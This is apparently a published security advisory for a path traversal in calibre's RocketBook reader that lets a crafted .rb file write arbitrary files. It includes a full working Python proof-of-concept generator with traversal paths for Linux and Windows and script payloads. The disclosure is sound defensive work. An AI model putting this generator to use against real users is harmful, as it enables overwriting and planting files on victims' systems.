Skip to content

Path Traversal Leading to Arbitrary File Write

Moderate
kovidgoyal published GHSA-7mp7-rfrg-542x Mar 13, 2026

Package

calibre

Affected versions

<= 9.4.0

Patched versions

9.5.0

Description

Summary

A path traversal vulnerability in the RocketBook (.rb) input plugin (src/calibre/ebooks/rb/reader.py) allows an attacker to write arbitrary files to any path writable by the calibre process when a user opens or converts a crafted .rb file. This is the same bug class fixed in CVE-2026-26065 (GHSA-vmfh-7mr7-pp2w) for the PDB readers, but the fix was never applied to the RB reader.

Details

get_toc() reads a 32-byte TOC entry name from attacker-controlled binary data and URL-decodes it without any path sanitization (line 64). Both get_text() (line 90) and get_image() (line 100) pass this name directly to os.path.join(output_dir, name) and open the result for writing:

# get_toc() — no sanitization
name = unquote(self.stream.read(32).strip(b'\x00'))

# get_text() / get_image() — direct open
with open(os.path.join(output_dir, toc_item.name.decode('utf-8')), 'wb') as f:
    ...

When the name is an absolute path (e.g. /home/user/evil.png), os.path.join discards output_dir entirely. Relative traversal (../../evil.html) also works. No os.path.basename(), no boundary check, no .. stripping exists.

The patched PDB readers (reader132.py, reader202.py) use an image_dest() helper with a commonprefix boundary check — rb/reader.py has no equivalent.

The .png code path (get_image) writes raw bytes with no transformation, giving the attacker full control over file content. The .html code path (get_text) applies a cp1252→UTF-8 re-encoding.

PoC

  1. Generate the malicious .rb file:

    python3 make_poc_rb.py malicious.rb
  2. Convert with calibre (the file write occurs during conversion):

    ebook-convert malicious.rb output.epub

    The conversion errors with "Spine is empty" — this is expected. The file write has already occurred.

  3. Verify:

    ls -la /tmp/CALIBRE_RB_POC.png
    file /tmp/CALIBRE_RB_POC.png    # "POSIX shell script, ASCII text executable"
    xxd /tmp/CALIBRE_RB_POC.png     # raw attacker bytes, byte-for-byte

The PoC generator (make_poc_rb.py) constructs a valid RB file with a TOC entry whose name is the absolute path /tmp/CALIBRE_RB_POC.png. The content block is a shell script. After conversion, the shell script lands at the absolute path — confirmed by file identifying it as a shell script, not an image.

Tested on calibre 9.4, Linux. Windows is equally affected — os.path.join behaves identically with absolute paths and ..\..\ traversal on Windows.

Impact

Arbitrary png/html file write. Any user who opens or converts an attacker-supplied .rb file has arbitrary files written to any writable location on their filesystem, including their home directory and Desktop. The .png code path writes fully attacker-controlled binary content. This can overwrite existing files (data destruction) or place payloads in sensitive locations. The vulnerability requires no privileges and works cross-platform (Linux and Windows).

PoC Code Generator

#!/usr/bin/env python3
"""
PoC generator — calibre RB reader path traversal (CVE pending)

Writes a malicious .rb file; convert it with:
    ebook-convert malicious.rb output.epub
then check for the escaped file on the filesystem.

Usage:
    python3 make_poc_rb.py                         # Linux Desktop (png, raw bytes)
    python3 make_poc_rb.py --windows               # Windows Desktop (png, raw bytes)
    python3 make_poc_rb.py --html                  # Linux Desktop (html, re-encoded)
    python3 make_poc_rb.py --windows --html        # Windows Desktop (html)
    python3 make_poc_rb.py -o payload.rb           # custom output filename
"""

import struct
import sys

# 14-byte magic verified by Reader.verify_file()
RB_HEADER = b'\xb0\x0c\xb0\x0c\x02\x00NUVO\x00\x00\x00\x00'


def build_rb(entries):
    """
    Assemble a valid RocketBook file from a list of TOC entries.

    entries: list of (name_bytes, content_bytes, flags)
        name_bytes : raw bytes for the 32-byte TOC name field
        content_bytes : data placed in the file body
        flags     : 0 for both get_text and get_image paths
    """
    content_offset = 32
    block_map = []
    body = b''
    for _, content, _ in entries:
        block_map.append((content_offset + len(body), len(content)))
        body += content

    toc_offset = content_offset + len(body)

    toc = struct.pack('<I', len(entries))
    for i, (name, _, flags) in enumerate(entries):
        name_field = name[:32].ljust(32, b'\x00')
        off, sz = block_map[i]
        toc += name_field + struct.pack('<III', sz, off, flags)

    data = (
        RB_HEADER
        + b'\x00' * 10
        + struct.pack('<I', toc_offset)
        + struct.pack('<I', 0)          # placeholder for file size
        + body
        + toc
    )
    # patch real size at offset 28
    return data[:28] + struct.pack('<I', len(data)) + data[32:]


# ---------------------------------------------------------------------------
# Payloads
# ---------------------------------------------------------------------------

# Linux — absolute path to user's Desktop
# .png path: get_image() writes raw bytes, no transformation
LINUX_PNG_NAME    = b'/home/test/Desktop/poc.png'    # 26 bytes
LINUX_PNG_PAYLOAD = b'#!/bin/sh\necho CALIBRE_RB_PATH_TRAVERSAL > /tmp/rce_proof.txt\n'

# .html path: get_text() applies cp1252 -> UTF-8 re-encoding (text survives)
LINUX_HTML_NAME    = b'/home/test/Desktop/poc.html'   # 27 bytes
LINUX_HTML_PAYLOAD = b'<html><body>CALIBRE RB PATH TRAVERSAL PoC - written to Desktop</body></html>'

# Windows — relative traversal to Desktop (works for ANY username)
# From %TEMP%\calibre-XXX\_plumberXXX: 5 levels up reaches user home
WIN_PNG_NAME    = b'..\\..\\..\\..\\..\\Desktop\\x.png'   # 28 bytes
WIN_PNG_PAYLOAD = b'@echo off\r\necho CALIBRE_RB_PATH_TRAVERSAL > %TEMP%\\rce_proof.txt\r\n'

WIN_HTML_NAME    = b'..\\..\\..\\..\\..\\Desktop\\x.html'  # 29 bytes
WIN_HTML_PAYLOAD = b'<html><body>CALIBRE RB PATH TRAVERSAL PoC - written to Desktop</body></html>'


# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------
use_windows = '--windows' in sys.argv or '-w' in sys.argv
use_html    = '--html' in sys.argv

if use_windows:
    name    = WIN_HTML_NAME    if use_html else WIN_PNG_NAME
    payload = WIN_HTML_PAYLOAD if use_html else WIN_PNG_PAYLOAD
    platform_label = 'Windows'
else:
    name    = LINUX_HTML_NAME    if use_html else LINUX_PNG_NAME
    payload = LINUX_HTML_PAYLOAD if use_html else LINUX_PNG_PAYLOAD
    platform_label = 'Linux'

assert len(name) <= 32, f'Name too long: {len(name)} bytes (max 32)'

# Output filename
out = 'malicious.rb'
if '-o' in sys.argv:
    idx = sys.argv.index('-o')
    if idx + 1 < len(sys.argv):
        out = sys.argv[idx + 1]

entries = [(name, payload, 0)]
rb_bytes = build_rb(entries)

with open(out, 'wb') as f:
    f.write(rb_bytes)

print(f'[+] Platform: {platform_label}')
print(f'[+] Written : {out}  ({len(rb_bytes)} bytes)')
print(f'[+] TOC name: {name!r}  ({len(name)} bytes)')
print(f'[+] Payload : {len(payload)} bytes, {"raw binary" if not use_html else "HTML text"}')
print()
print('Conversion command:')
print(f'  ebook-convert {out} output.epub')
print()
if use_windows:
    decoded = name.decode().replace('\\', '\\\\')
    print('After conversion, check the user Desktop:')
    print(f'  dir %USERPROFILE%\\Desktop\\{name.decode().rsplit(chr(92))[-1]}')
    print()
    print('The relative traversal ..\\..\\..\\..\\..\\ navigates from')
    print('%TEMP%\\calibre-XXX\\_plumberXXX (5 levels below user home)')
    print('to the Desktop — works for ANY Windows username.')
else:
    decoded = name.decode()
    print('After conversion, check:')
    print(f'  ls -la {decoded}')
    print(f'  xxd {decoded}')

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L

CVE ID

CVE-2026-30853

Weaknesses

No CWEs

Credits